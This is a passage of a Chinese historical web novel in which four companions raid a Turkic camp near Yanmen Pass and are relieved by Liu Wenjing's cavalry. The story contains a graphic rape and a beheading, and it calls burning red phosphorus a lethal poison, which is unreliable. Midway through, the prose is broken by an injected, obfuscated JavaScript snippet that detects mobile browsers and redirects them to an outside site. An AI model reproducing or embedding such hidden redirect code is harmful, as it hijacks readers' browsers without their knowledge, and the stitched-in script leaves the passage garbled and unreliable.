“小二愣子是说我吗!”吕仲明登时悲壮地吼道。罗士信一不小心把平日里与秦琼给吕仲明起的外号说出口了,两人登时道:“嘘……”示意他尉迟恭还在外面,小心被听见 吕仲明:“………………” 吕仲明道:“我很二么?” “没有啊。”秦琼道:“谁说你二了?我帮你揍他。” 吕仲明总觉得自己又被调戏了,一脸愤怒,罗士信却不羁一笑,大大咧咧搂着吕仲明,朝秦琼道:“叔宝,你觉得我俩像么?” “一样的二。”秦琼道:“我读书去了。” 尉迟恭多半还在外面等着,秦琼便拿着本书,吊儿郎当地坐在楼梯上看,罗士信则手里玩着一把小刀,自斟自饮地喝酒。 吕仲明就像只不高兴的斗鸡,现在看谁都不顺眼,罗士信又一本正经地问吕仲明,说:“仲明,你觉得咱俩像?” 吕仲明看了罗士信一会,说:“你像我爹。” 罗士信道:“乖儿子,听话。” 吕仲明彻底无语,探头探脑地看外头,罗士信抬眼瞥他,吕仲明便也瞪着他,打量罗士信,忽然发现这家伙确实和自己老爸有点像……不是长得像,而是一副老子说什么,你就得给我照着做什么的神态,像极了。 想当年在金鳌岛上时,自己总是不耐烦吕布,然而离开了他身边以后,却想他想得要死。哎……老爸现在也不知道怎么样了。 吕仲明想了一会,开始用对付自己爹的那一套对付罗士信,先是旁侧敲击一下,打探军情,看看罗士信和老爸的逻辑是否相似,便问道:“为什么不让我和尉迟玩。” 罗士信:“不为什么。老子看他不顺眼。” 果然是这样,连回答都一模一样的!吕仲明心里窃喜,说:“让我去吧,我保证很快回来。” 罗士信道:“不行。” 吕仲明:“我开着门,你看着,我们说,不超过十句。” 罗士信:“不行。” 吕仲明:“五句?三句?绝交也得给人个交代罢,我让他以后不要再来找我,行了吧。” 罗士信简直是拿吕仲明没办法,颇有点不耐烦道:“有什么好说的?” 吕仲明知道成交了,便起身去开门,罗士信道:“我点头了吗?” 吕仲明知道继续开门,罗士信肯定不会揍自己,便磨磨蹭蹭,把门开了。然而外面尉迟恭已经走了。 秦琼:“你是不是总是拿这一套对付你爹?” 吕仲明嘿嘿笑,被看出来了,又觉得尉迟恭挺可怜的,不知道哪儿惹了罗士信,秦琼都没说什么,罗士信却有点排斥尉迟恭。 “你罗大哥怕你被人骗了。”秦琼笑道。 吕仲明道:“他不会的。” “鲜卑骗子多。”罗士信冷冷道:“你不知道,外头也危险,你忘了,杨广还在通缉咱们呢。那炭头盯着你看,那眼神,一副想把你吃了的样子,跟他混一处做什么?” 吕仲明知道罗士信疼他,但又实在头疼,要怎么跟他解释,尉迟恭不是坏人,奈何罗士信脑子里塞满了刨花,说也不听,便百无聊赖,回后院去。 罗士信:“又去哪?” 吕仲明:“睡午觉——” 罗士信便不管他了,回到后院时,忽见一人骑在墙上,朝他吹了声口哨,正是尉迟恭。 尉迟恭笑道:“仲明!” 吕仲明笑了起来,尉迟恭招手道:“来,出来!带你去逛逛!” 吕仲明趁着罗士信不知道,毛手毛脚爬上墙去,翻出院子外,溜走了。 雪过天晴,尉迟恭换上了那天他们第一次见面时的鹿皮裤,狼皮夹袄与帽子,摇身一变,丝毫看不出是个铁匠,又成了个鲜卑俊男。 吕仲明道:“怎么来了?” 尉迟恭道:“想找你说说话。” 尉迟恭引着吕仲明,从巷子里出去,今日正是个赶集的日子。市集繁华热闹,两人站在集市一侧,看猎户拿来雁门关下卖的狐狸。吕仲明对这种景象,颇有点不真实感,仿佛一切纷争,烦恼,都离自己远去了。 然而尉迟恭却仿佛有心事,寻思片刻,仿佛在考虑什么,又看吕仲明,吕仲明发现了端倪,便问:“有话就说。” 尉迟恭似乎是把心一横,说:“跟我来。” 两人转进又一条巷里,深巷中酒香传来,尉迟恭一路忧心忡忡,推开酒坊后门进去,吕仲明忽见两个喝得烂醉如泥的突厥人。 吕仲明隐约察觉了不妥,问道:“发生什么事?” 尉迟恭低声道:“今日清早,我来这儿想给你捎点酒去,碰见三个突厥人在里头商量事。” 吕仲明上前检视那两名突厥人,见脸色通红,一身酒气,说:“衣服,裤子上全是酒,烂醉不省人事的人不是流口水就会吐,是被你打昏,再把酒浇了一身的罢。” 尉迟恭嗯了声,吕仲明又道:“还有一个呢?” 尉迟恭看着吕仲明,沉默不答。 吕仲明转念一想,问:“突厥人有什么计划?是不是要在雁门关下抢劫?还是想占城?” 尉迟恭道:“你怎么知道的?” 吕仲明笑道:“你说有三个人,这里只有俩,还有一个不可能是逃了,否则你表情肯定没这么镇定。多半是商量完事后,一个走了,另外两个在这里准备接应。” 尉迟恭点头道:“是。” 吕仲明想起尉迟恭出身,低声问:“他们说的是突厥话?你听得懂,对不,说了什么?” 尉迟恭道:“雁门关下过冬节,市集开张,他们要进来抢劫。” 吕仲明惊道:“确切时间呢?什么时候?” 尉迟恭道:“明天夜里到后天,没听得太清楚,现在突厥人的兵都在外头潜伏着。” 吕仲明道:“埋伏点在什么地方?” 尉迟恭道:“似乎是在雁门山下,半个月前进的长城。” 吕仲明:“有多少人?” 尉迟恭迟疑,摇头,说:“这事儿不好办,守兵太少,大多都在北边守着关……我想得告诉城里大家,做好准备,但我是个铁匠,说的话别人未必就信,你是出了名的算命先生……” 吕仲明心道&%¥#@……这是什么道理,感情自己在尉迟恭眼里已经是个神棍了,两人对视一眼,吕仲明知道尉迟恭想让自己去挨家挨户警告,告诉他们来日会有麻烦,让各家各户小心不要出门之类的话……可这怎么行?遂哭笑不得道:“临近年底,来往商户太多了,躲起来也没用。雁门关下守军是谁说了算?” “晋阳令是刘文静刘大人。”尉迟恭道:“可他的兵都在上党。” 吕仲明道:“一来一回,起码要三天,来不及了。” 尉迟恭眉眼间十分焦虑,吕仲明知道这么大的事,不能自己担着,便拉起尉迟恭的手,说:“回我家去商量,走。” 尉迟恭的大手温暖,稍一迟疑,便抓住了吕仲明的手,尉迟恭道:“这里!” 说着他带吕仲明直接翻墙过去,翻了几条小巷,再一钻一拐,便回了城东,吕仲明正要进厅堂里去,却听见陌生男人的声音,在与秦琼交谈。 尉迟恭:“有客人?” 吕仲明轻轻摆手,站在门外听着。 厅堂里,罗士信吊儿郎当地坐着,一身黑袍子胡乱系上,秦琼则在待客,一名儒雅男子坐在秦琼面前,身后站着名武人打扮的护卫。 “往事不必多提。”秦琼考虑良久,而后道:“隐姓埋名,在雁门关下过日子,就是不想再打仗了。” 罗士信又道:“人各 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563121|171403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有志,何必强求?” 男子也不愠,笑笑说:“罗将军所言甚是,在下回去便会转告。待吕先生回来后……” 罗士信道:“不妨,留下来喝杯酒罢。” 这时吕仲明便推门进去,与那男子打了个照面。只见男子面如冠玉,鬓前留了两道垂缨绦,眉目俊朗,目光明亮,年纪却是很小,吕仲明平日所见都是粗犷男人,难得忽然看到个这么清秀的公子哥儿,不禁莞尔。 “回来了?”罗士信懒懒道,顺便瞪了尉迟恭一眼。 “回来了。”吕仲明先朝客人拱手,笑道:“咦?小兄弟今年多大?” 那男子没料吕仲明也是这么小,颇有点意外,笑道:“十五,你呢?” “我也十五。”吕仲明乐道:“我六月底的生辰,你呢?” 男子起身,乐道:“我二月,被骗了一岁,在下李济,小兄弟怎么称呼?” “吕仲明。”吕仲明笑着与李济拱手,双方相视一笑,默契顿生。 “咳!”罗士信咳了声。 吕仲明讪讪坐下,李济刚要说点什么,吕仲明却朝罗士信与秦琼道:“突厥人打到家门外了,预计明天夜里进城劫掠。” “什么?”所有人闻言大惊,完全没料到吕仲明一来就抛出了这么个惊天大消息,连罗士信也顾不得赶人了,皱眉道:“怎么知道的?埋伏在什么地方?” 尉迟恭看了众人一眼,秦琼这才注意到他也来了,便示意他坐,尉迟恭便将今日偷听到的消息一五一十告知,随着尉迟恭解释,数人脸色逾发凝重。一时间厅内众人不再客套,都觉十分危险。 吕仲明道:“突厥进关打劫,古来有之,防不胜防,也不可能一战全歼,得怎么想个办法,尽量减少城中百姓伤亡。” 李济颔首道:“雁门关下兵员只听副留守王威调动,隋军兵制尾大不去,难以保民,战力更不及突厥人……” 秦琼开口道:“以前雁门关下,都是如何抵御突厥的?” “说来惭愧。”李济朝秦琼道:“抵御突厥兵马的,乃是一支叛军,首领名唤历山飞。” 一语出,数人都是心照不宣,并州从前有一支农民义军队伍,隋军无能,反倒靠叛军保护了几个重要地区,然而现在历山飞被李渊镇压,追随者作鸟兽散,现在突厥人已经可以长驱直入了。 罗士信沉默,一时间数人看着罗士信温的酒,热水冒着蒸汽。 李济温和一笑,看着吕仲明,问:“你们要去袭营?” 吕仲明对他很有好感,只觉其人彬彬有礼,有种令人如沐春风之感。看到他身边那侍卫似乎身手不错,便打趣道:“你也想去?” 李济侧过头,朝那侍卫道:“咱们随吕先生,秦将军与罗将军,一同去会一会突厥人,如何?” 侍卫只是沉默一点头,什么也没说。 罗士信朝李济道:“你们还是别趟这浑水了,先回去罢。” “兵分两路。”吕仲明道:“李兄认识刘文静么?刘文静那边,拜托李兄了。” 吕仲明虽不知李济来历,但观其气场,知道多半是隋家官宦子弟,果然一猜就中,李济略一沉吟,便道:“行!家父与他有交情,但在下不认识,吕先生若有意,便请修书一封,我这就亲自前去。酒先留着,来日再喝。” 吕仲明欣然道:“那就拜托李兄了。” 秦琼回房取了笔墨,吕仲明沉吟片刻,写了封信,李济看着那书法,笑道:“好字!” “平日里懒怠练,见笑了。”吕仲明道。 李济也不再多过问之后要如何安排,便道:“军情紧急,我这就去了。”说毕数人起身,将李济送到门外,要道别之时,李济又道:“听闻先生有一歌谣,雁门关下不少人已会传唱……” 吕仲明一笑道:“都是胡编的。” 李济看着吕仲明,朝他挤了挤眼,笑道:“先生还会在雁门关下呆多久?李某心生向往,只盼能常来拜谒。” 吕仲明道:“来日方长,改日再谈。” 李济一笑道:“众位英雄,后会有期。” 说毕李济上马离去,吕仲明回入厅内,四人坐着,十分尴尬。 罗士信:“睡觉睡到街上去了?” 吕仲明:“我……梦游了。” 秦琼不忍卒睹,尉迟恭却笑道:“是我来找仲明的,现在怎么说?” 尉迟恭一言提醒,二人才想起正事要紧,吕仲明忽然发现所有人都看着他,莫名其妙道:“都看着我干嘛。” “想办法。”秦琼道:“你不是鬼主意多得很的么?” 吕仲明嘴角抽搐,绞尽脑汁,都在想刚刚的对话,李济走了,去送信,也就是说,晋阳令刘文静会来解救,理论上问题不大,但如果来晚一步,就会很危险……李济是个什么身份? 吕仲明有了头绪,先道:“不忙,先把事情理清楚。李济怎么找到这里来的?” 罗士信答道:“他开口就是问荥阳的事,雁门关下住不下去了,还是得搬家。” 吕仲明知道通缉三人的消息,终于传到塞外来了,张须陀荥阳一役战败,必须追究责任,李济想必有些渠道,才知道他们的身份。 “当真这么说了?”吕仲明笑吟吟道:“就没有委婉点?” 秦琼道:“委婉不委婉,话里都是这个意思,我倒是宁愿来的人说话都直爽点,他还说,他家长辈想请咱们过去,聊聊天,喝杯酒,见上一面,又不说是谁,我说既然想见,就亲自来罢。” “如果没猜错,李济应该是唐国公府上的人。”吕仲明道:“你记得我的那首歌谣么?夏商周秦西东汉,三国两晋南北朝,隋唐……” 这话一出,数人才都变了脸色,秦琼喃喃道:“原来是这么个意思。” “当然,也可能是想查李渊造反的人。”吕仲明道:“若是政敌,那半点也不奇怪。” “当真是政敌。”罗士信道:“应当是先将咱们抓起来罢。” 吕仲明点头,沉吟半晌,敲定了李济必定是唐国公李渊府上的人,因为歌谣里,隋后就是“唐”,而对得起这个称号的,只有李渊了。初时他教小孩们这歌谣,为的也就是引李渊出来。如此说来,为避人耳目,李渊派个部下来请他,也是可能的。但吕仲明不打算一请就去,而且现在也不是去的时候。 尉迟恭道:“援兵几日能到?” “不能把希望完全寄托在援兵身上。”吕仲明道:“突厥人既然埋伏在雁门山下,咱们就去会一会他们。” 罗士信痞兮兮笑道:“正有此意。” 秦琼道:“几个月没打仗,再不找点事做就生锈了。” 尉迟恭色变道:“对方至少有几百人!” 吕仲明道:“他们在暗,咱们在明,怕什么?” 尉迟恭皱眉道:“我只想让城里百姓躲起来。” “没有地方躲。”吕仲明道:“走罢。” 一言出,罗士信与秦琼便上楼取武器,尉迟恭道:“没有马,走过去?” “我们有马。”吕仲明接过秦琼抛来的长弓,背上,要出门时,尉迟恭又道:“你不要去,听我一句,塞外突厥嗜杀,太危险了。我与你哥哥们去。” 秦琼与罗士信都忍不住哈哈大笑,尉迟恭莫名其妙,看着二人。 “我……打架不太行。”吕仲明道:“射箭还是可以的,能自保。” 尉迟恭坚持道:“不行,我去就够了。” 吕仲明:“那咱俩一匹马?” 尉迟恭道:“不必,我有骑的。” 秦琼道:“仲明,待会你负责照顾尉迟兄弟。” 吕仲明嗯了声,点头,尉迟恭见拦不住,说:“你们等我一会。” 罗士信牵了三匹马来,战马已数月未出门,养得膘肥体壮,问:“四个人,三匹马,怎么骑?别等他了。” 秦琼道:“应当是回去牵马。” 三人在后门外站了一会,见尉迟恭牵来三头骡子,当即一起倒了。 14. 第十四回:援兵 “你还是骑我的马罢。”吕仲明强忍着笑,整个人都是僵的。 罗士信道:“快!别婆婆妈妈了!天都要黑了!” 尉迟恭最终无奈,只得点头,吕仲明示意他先上马去,尉迟恭又道:“我来。你坐我后面。” 吕仲明翻身上马,落在尉迟恭身后,发现他背着一把铁匠用的大锤,心道这家伙膂力高强,天赋异禀,搞不好还真的厉害。 “又去哪?!”秦琼远远问道。 吕仲明到西市上,拐了个弯,喊道:“城门口汇合!再等我一会!” 吕仲明与尉迟恭走了一趟西市,秦琼、罗士信正等得不耐烦时,终于回来了,三人在午后出城,朝着西北雁门山驰去。 城外处处哀鸿,吕仲明一看地形,便道:“沿着滹沱河走,找水源。” “嗯。”秦琼道:“既是成群结队,想必会在河边扎营。” 雁门山乃是旷古绝今的第一古战场,古有“天下九塞,雁门为首”一说,赵武灵王,李牧,蒙恬,卫青,霍去病甚至李广,都在此抗击过外族入侵。驰得半日,傍晚时夕阳如血,山腰上皑皑青松,茫茫白雪,形成了巍然壮阔的奇景。 相传昭君自此出塞,吕仲明经过一块石碑时,心里生出奇异的感觉。 山路上化雪成冰,马蹄打滑,四人只得下马牵马步行,尉迟恭沿途一言不发,秦琼却回头看看走在队伍最后的罗士信,忽然开口道:“罗成。” “唔。”罗士信头也不抬,沉默地看着脚下。 “怎么?”吕仲明茫然问。 片刻后秦琼道:“尉迟兄弟,方才多有冒犯,得罪了。” 尉迟恭一哂道:“不打紧。” 罗士信道:“还是骡子惯走山路,没在这种地方打过仗,兄弟莫怪。” 吕仲明这才知道,秦琼与罗士信一直对尉迟恭有着既定的认识与评价,说不定在他没听见的地方,两人私底下也调查过尉迟恭。 吕仲明便讪讪笑道:“我也不知道,这可学到了。” 尉迟恭道:“用骡子的话,咱们可以扮作货商。” 夜幕低垂之时,三人已到了半山腰上,看见远远的山中,有火光闪烁。那处正是白水中游。 此地已距雁门郡下的代县四十余里,看那架势,足有近千人。 “这么多?!”秦琼色变。 罗士信本以为只有数百突厥人,没料竟是来了这么多,山中光是篝火就有上百堆。 尉迟恭道:“仲明,你准备的东西,可以拿出来了罢。” 秦琼与罗士信看着吕仲明,吕仲明道:“啊?什么东西?我只是买了晚饭而已啊。” 秦琼:“……” 说毕,吕仲明从包裹里取出吃食来,笑道:“先吃晚饭吧。” 吕仲明买了酱牛肉,一人一张饼夹着,各自吃了,吕仲明又多分给尉迟恭一块,让他多吃点。罗士信问道:“还有什么?” 吕仲明从马背上卸下一个包裹,罗士信看也不看就要拆,吕仲明忙道:“那是毒药!” 罗士信:“……” 吕仲明道:“小心七窍流血而死。” “这是什么?”秦琼莫名其妙道。 吕仲明:“赤磷。” 四人在树下,借着最后一缕夕阳研究吕仲明带来的红磷。 “炼丹能出来这个。”吕仲明道:“煅烧矿石也能,我在药铺子里找到不少,待会咱们探听完消息,就在这棵树下汇合。再分头赤磷扔进他们的篝火里。” “然后会怎么样?”罗士信道。 “然后当然就七窍流血而死了。”吕仲明道:“是他们,不是咱们……” 众人无语,吕仲明道:“快去罢,走,走,吃饱就干活了,一人一边,先看看地形。” 罗士信与秦琼便收了兵器,潜入树林中,吕仲明把弓取下来,拿在手里,架上弦。尉迟恭沉默地站在吕仲明身后。 吕仲明略侧过头,问:“走?” 尉迟恭:“我……不会打仗。” 吕仲明想起来也是,说:“我保护你,跟着我走。” 吕仲明打头,尉迟恭警觉地看看四周,一路跟在吕仲明身后,两人接近突厥人的营地,吕仲明嘘了一声,让尉迟恭伏身下来。 前面就是一堆篝火,火边聚集着十来个突厥兵。着装统一,都是正规军……不是劫掠马贼。吕仲明隐约感觉到,他们这次发现了一件了不得的事。 尉迟恭与吕仲明二人藏身灌木丛下,突厥的士兵就在二十步远处走过去,尉迟恭几乎是整个人趴在吕仲明身上,手肘撑着,生怕压着他。 “这就动手?”尉迟恭低声道。 尉迟恭粗重的呼吸撩得吕仲明耳畔发痒,吕仲明小声道:“再等等。我问你,这些是突厥的正规军吗?” 尉迟恭低声道:“突厥人全民皆兵。” 吕仲明小声道:“正规军都是千人一队?” 尉迟恭摇摇头,说:“很少,要么是几十上百人,脱队劫掠。如果是正规军,说不定只是前锋。” 那就对了,吕仲明心想,说不定背后还有队伍……要是神力还在就简单了,直接一把火喷死他们,大家就可以回去喝酒睡觉了。 “回去等他们,准备动手罢。”吕仲明道。 然而刚要离开的瞬间,却听见远处有一声歇斯底里的大喊,把吕仲明吓了一跳。 篝火旁,突厥士兵们却是哈哈大笑,又有的大声叫骂。 还有战俘?看来侵略雁门之前,这些突厥兵员还打劫了其它地方。紧接着,一个男人被拖过来,按在地上。 那男人咬牙切齿,被打得头破血流,一名突厥士兵凶神恶煞地骑在他身上,开始撕他的衣服。男人被剥得赤条条的,突厥士兵便开始解裤子。 吕仲明:“……” 尉迟恭:“……” 那被强上了的男人距离他们不到五步远,脸被按在地上,看见了灌木丛里的两人,吕仲明马上摇手,示意他千万不要声张。男人像是个当兵的,看见他们,便知是来救人的,于是不再吭声,咬牙任凭突厥人施暴。 突厥士兵开始办事,吕仲明走也不是,留也不是,被迫与尉迟恭看完了全场,心中百味杂陈,实在难以用语言形容,还感觉到尉迟恭有什么顶着自己,两人都尴尬得要死。 那男人也有点肌肉,像是个官兵,就这么忍着,一声不吭,吕仲明小时候就看过他那俩爹办事,当时似懂非懂,这个时候看着……实在是太……男人强忍着,趴在地上,过了一会,突厥人才从他身上起来。 吕仲明抬手,示意安慰,男人沉默点头,眼神示意无妨。捡起衣服起身穿上,吕仲明心底吁了口气,心想总算可以溜了,回头朝贴在脖畔的尉迟恭小声说:“准备撤。” 两人对视顷刻,不由自觉地都看着对方的嘴唇。 尉迟恭嗯了声,彼此不自然地移开目光。 然而变故再生,那男人刚站起来,便被突厥人抽刀一砍,连叫也叫不出来,脑袋便被砍了下来。 吕仲明:“!!!” 说时迟那时快,吕仲明全身肌肉一僵,尉迟恭马上紧紧抱着他,以免他冲出去。 “冷静!”尉迟恭在吕仲明耳边小声道。 那男人的尸体倒下,脖颈处喷出大量鲜血,四肢兀自在雪地里抽动,吕仲明看到这一幕,只觉全身的血液都凝固了,怒火几乎无法遏制。 篝火旁的突厥人都哈哈大笑起来,那杀人的突厥兵随口骂了句什么,将男人的脑袋随便一踢,踢进灌木丛里,正好滚到吕仲明面前。 吕仲明看着人头全身发抖,尉迟恭却一手捂着吕仲明眼睛,把他抱起来,拖着他迅速离开灌木丛。 “呼……呼……”吕仲明不住喘气。 “没事罢。”尉迟恭一手按在吕仲明肩上,继而把他抱着,说:“别怕,别怕……” 吕仲明闭上眼睛,沉默点头,尉迟恭道:“突厥人就是这样。” “没事。”吕仲明声音打颤,说:“谢谢。” “怎么了?”秦琼回来,看到这一幕,皱眉问道。 罗士信也回来了,见吕仲明铁青着脸,第一眼就是瞥尉迟恭,吕仲明道:“没,刚被吓着了……嗯……情况怎么样?” “还有一百多名战俘。”秦琼道:“应当是打过一次仗,隋兵都被捆着,扔在河边。” “计划一下。”罗士信道:“怎么救人,喂,小二愣子!” 吕仲明一直在想那个没有出卖他们,却被突厥人虐杀的士兵,一想心里就难受,方才他完全可以叫出来,这样突厥人就会发现他与尉迟恭,停下手头在做的事。 他没有说,最后还死了。 “仲明。”尉迟恭温和沉厚的声音道。 吕仲明抬头,发现三人都在看自己,秦琼又摸了摸他的头,问道:“被什么吓着了?” 吕仲明摇头,勉力镇定,想了想,说:“战俘没有马,跑不快,得营造多点时间,引开突厥人,放走他们的马,才有逃生希望。” 罗士信用树枝在雪地里将附近的地形勾画出来,吕仲明分了任务,说好集合地点,大家一人分了包红磷,前去偷袭。 四个人,袭击别人上千人的营地,当真是胆大包天,换了以前,吕仲明根本不会这么想,然而罗士信,秦琼根本就不把任何人放在眼里,从前领兵时也是万人阵中杀进杀出的胆量,就连尉迟恭也没说什么。 深夜,突厥人都入睡了,剩下两队十余人在外围巡逻。 罗士信与尉迟恭潜入营地,将红磷撒入篝火中。 秦琼遥遥一招手,已到了伏击地点。 吕仲明藏身树上,抽出第一根箭,瞄准远处,一松弦。 巡逻的突厥人登时被一箭贯穿脖颈,无声无息倒在地上,秦琼抽刀,挨个割断战俘绳索,战俘们一时脱困,登时惊惶无措,秦琼忙示意所有人别声张,快跑就是。 吕仲明又是接连数箭,每一箭都下了狠手,中箭者俱当场毙命,直到第一声呐喊,有人被浓烟呛醒,大声怒吼,登时整个营地内乱成一团,罗士信喝道:“撤!”继而以湿布蒙着口鼻,逃出了营地。 烟雾弥漫,树林内到处都是大声咳嗽的突厥人,马匹受惊,被秦琼砍断绳索,刀刺马股,朝四面八方逃去,尉迟恭喝道:“仲明!快走!” 吕仲明单膝跪在树杈上,场面已一片混乱,突厥人开始朝树林外跑,尉迟恭抽出背后大锤,一锤过去,将突厥人当场击倒在地。 罗士信与秦琼也开始咳嗽流泪,烟雾中又有人冲出来,朝着秦琼背后一刀,秦琼一感觉到风声便瞬间转身,那突厥士兵却被横里一箭飞来,钉在树上!罗士信险些被尸体绊倒,终于有人发现了他,朝他身上一扑,罗士信调转长剑,朝肋间一捅,刺中那人。 突厥士兵虽死,那手臂却紧紧箍着罗士信脖子,尉迟恭从侧旁冲出,抡开铁锤,为罗士信挡了三刀,大锤舞得呼呼风声作响,怒吼一声,扫开时竟是挡开一个圈,将扑上来的四名士兵锤得脑浆迸裂! “走!”罗士信咳道。 尉迟恭架着罗士信臂膀出来,与跃下树的吕仲明汇合,三人跑向山路,又有突厥兵发现了他们,大喊一声,然而吕仲明回手一箭,射中那人咽喉,声音戛然而止。 浓烟在黑夜里飘开,有人打着火把追了上来,罗士信率先冲向山路尽头,纵身一跃,跳下了悬崖。 吕仲明猛然止步,喊道:“我我我……” 尉迟恭从背后扑上,把吕仲明一抱,两人头下脚上地坠了下去。 那一刻,吕仲明凌空飞下悬崖,不到数息,一根绳索飞来,在尉迟恭手腕上一卷,两人借力,飞向对面的峭壁,就这么飞过了陡峭之地。顷刻间突厥兵追到悬崖边上,箭如雨下,吕仲明踩着尉迟恭膝盖,转身,连珠箭法! 数人同时一声喝彩,在深暗的山涧内回声阵阵,第二次荡出万丈高空,秦琼抛出一根绳索,卷住尉迟恭,将他拖回峭壁前,各自翻身上马,冲下了山路。 突厥兵被彻底激怒了,数百人上马,追着四人冲出了雁门山,破晓时分,四人夺命狂奔。 “得想法甩开他们!”秦琼回头看了一眼,大声道:“越来越近了!” 罗士信与吕仲明的战马已养尊处优日久,根本不是突厥马的对手,眼见一点点地被追上,天空露出鱼肚白,吕仲明在尉迟恭背后,回身一箭,将追兵首领射下马来。 突厥军大哗,散成两翼包抄上来,吕仲明道:“得吊着他们!战俘还没跑远——!” 秦琼喝道:“我引开他们!你们朝城里跑!” 秦琼骑着白云驹,一个转身,竟是迎着突厥士兵杀去!冲散了敌军的左翼,一枪挑飞对方骑兵,罗士信见之豪气顿生,大吼道:“我来助你!” 吕仲明简直是抓狂了,吼道:“近战职业别冲太快好嘛!你们能不能照顾一下远程——!” 然而吕仲明那两行宽面条泪与抓狂的怒吼都飘散在风里,罗士信一个调转马头也冲了过去,舞开长槊,凡迎上铁槊的突厥兵俱是被一槊贯 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前来增援的官兵朝着突厥人发起了冲锋,所有人拿着陌刀,悍然冲进了敌阵!是时只见官兵人人手持陌刀,借着马匹一冲之力,便将突厥人斩杀于马下!突厥兵士登时大乱,散开,再次包抄,然而官兵刚冲过一次,再次齐齐回头,朝突厥军队发起了又一次冲逢! 秦琼大声喝彩,退出战阵,突厥兵不但不逃,反而越战越勇,然而却搦不过官兵强悍,往往只是几个照面,便被砍落马下。 初晨朝晖万丈,不到一刻钟时间,战斗彻底平息,满地突厥人尸骸。 敌军竟是无一逃跑,尽数阵亡,吕仲明调转马头,看着眼前这一幕,大战过后,遍野横尸。 官兵首领下马,数人忙纷纷下来,与他见礼。 “晋阳令刘文静。”为首一名身穿皮甲的文官道。 四人拱手,通报姓名,刘文静看了尉迟恭一眼,似乎发现他是鲜卑人,眼中又有深意,却没说什么。 “这封信……” “是我写的。”吕仲明答道。 “几位英雄武勇。”刘文静温和一笑道:“没想到竟敢独闯敌军营地,佩服。” 吕仲明看刘文静身后军威严谨,安静列队的官兵,问:“这么强悍的战力,简直是马战杀手,为什么不调到雁门关驻守,保护百姓?” 刘文静解释道:“小友,你误会了,这不是官兵,乃是本官朝唐王府借来的天策铁骑。整个并州,就只有这么一千的编制。” 吕仲明便颔首不作声,秦琼与罗士信找到脱逃的战俘,带到刘文静面前,吕仲明随口说了自己的猜测,刘文静便询问战俘是何编制,在何处落败被俘。越问脸色便越是凝重。 许久后,刘文静吩咐他们先回城去,在雪原上踱步,秦琼道:“突厥可是还有后着?” “是。”刘文静道:“不瞒各位,紧随其后,还有三万突厥大军,正在计划进入晋阳。不如各位随我回晋阳一趟,此战功不可没,待刘某上报朝廷,再为各位论功行赏。” 吕仲明回头看秦琼与罗士信,又看了眼尉迟恭。秦琼缓缓摇头,尉迟恭迟疑不答。 吕仲明便朝刘文静笑道:“现在过去,也帮不上忙,军情要紧,刘大人请罢。” 刘文静见吕仲明婉拒,倒也不勉强,说:“如此便告辞了。” 说毕刘文静翻身上马,调头时骑在马上,朝四人一抱拳,说:“期待能在晋阳再会。” “后会有期。”吕仲明一笑置之。 刘文静与天策铁骑来得快,走得也快,一阵风似地便离开了,剩下四人依旧上马回城去。 “方才那一下打得漂亮。”罗士信带着血污的笑容,拍拍秦琼的肩。 秦琼道:“你也不错。” “仲明?”尉迟恭问道。 刘文静送了一匹马,吕仲明便骑着那匹马,徐徐走在路上,思考援兵来得及时的事,被尉迟恭叫到便抬头,看看三人。 “在想什么?”尉迟恭道。 “战后总结。”吕仲明随口答道:“想方才救兵要是没来,咱们得怎么死。” 数人一起大笑,吕仲明当然知道救兵就算没来,也不至于就死,虽然确实很狼狈。 “炭头。”罗士信饶有趣味道:“你功夫不错,哪学的?” 尉迟恭谦让道:“打铁时练的。” “毫无章法,却又暗合重锏路子。”秦琼莞尔道:“天赋异禀。” 尉迟恭无奈莞尔,点点头。 吕仲明沉浸在思考中,罗士信与秦琼活动了筋骨,却是一身轻松,当天回了城内,已是午后,一夜未眠,吕仲明随便吃了点东西,便躺在厅堂里睡了。罗士信,秦琼与尉迟恭三人还在喝酒,谈论昨日一战。 翌日再睡醒时,又是一场大雪,天色晦暗,吕仲明坐在火炉旁,自己煮茶,喝茶,罗士信在睡觉,尉迟恭已经走了。吕仲明想起刘文静驰援,居然来得这么快,只花了一天时间,想必是李济调动了所有关系,并催促他尽快过来。 也或许是别的地方有军情,刘文静本就在关注雁门关下的战况。无论如何,解去劫掠之危便是好事。 门推开,秦琼带着一身风雪回来,吕仲明便朝一旁让了让,秦琼把菜放在一旁,坐下喝茶。 “明年开春咱们就去晋阳怎么样?”吕仲明道。 秦琼道:“你觉得,唐国公会当上皇帝?” “嗯。”吕仲明道:“如果所料不差,应该是这样,你出去打听消息了?打听到什么?” 秦琼道:“突厥人入关劫掠,已经是三年里的第四次了,这一次唐国公李渊正在晋阳调兵遣将,可他没有实力对付突厥人。他们太强大了,足足有二十万人。” 二十万,吕仲明哭笑不得,心道要是能喷火就好了。 秦琼:“傻笑什么?” “没笑什么。”吕仲明泪流满面答道。 秦琼道:“以唐国公那点人,顾得了这头,顾不上那头,晋阳,上党几个战略要地不容有失,像代县这种小地方,只能任由突厥放开了抢。刘文静这次动武,已经是非常不容易,我猜是李济说动了他,又借兵给他。” “我也这么想。”吕仲明道:“如果李济再来,好好与他谈谈罢。” 秦琼点头不语,吕仲明现在还吃不准李济的身份,毕竟他对这时候的李家所知甚少,可能是门客,也可能是李渊的侄儿,更有可能是李渊的儿子,甚至是那个传说中的李世民,亲自前来。 李世民威名未现,也未曾崭露头角,知道他的名字,秦琼也不会在意。 15. 第十五回:卧底 这天尉迟恭没有来,三人便如往常一般地过,仿佛昨天酣杀一场,只是无聊之余的消遣活动,然而那名被斩杀的俘虏的惨状,总是一而再,再而三地出现在吕仲明眼前。 又过了一日,一天秦琼回来,带着一小坛酒,说:“尉迟恭让带给你的。” 吕仲明打开一看,见里面是以蜜饯泡的梅子酒,意外道:“他怎么知道我喜欢喝这个的?” 罗士信闻到酒香便道:“好酒!” “是啊。”秦琼道:“他怎么知道你喜欢喝这个的?” 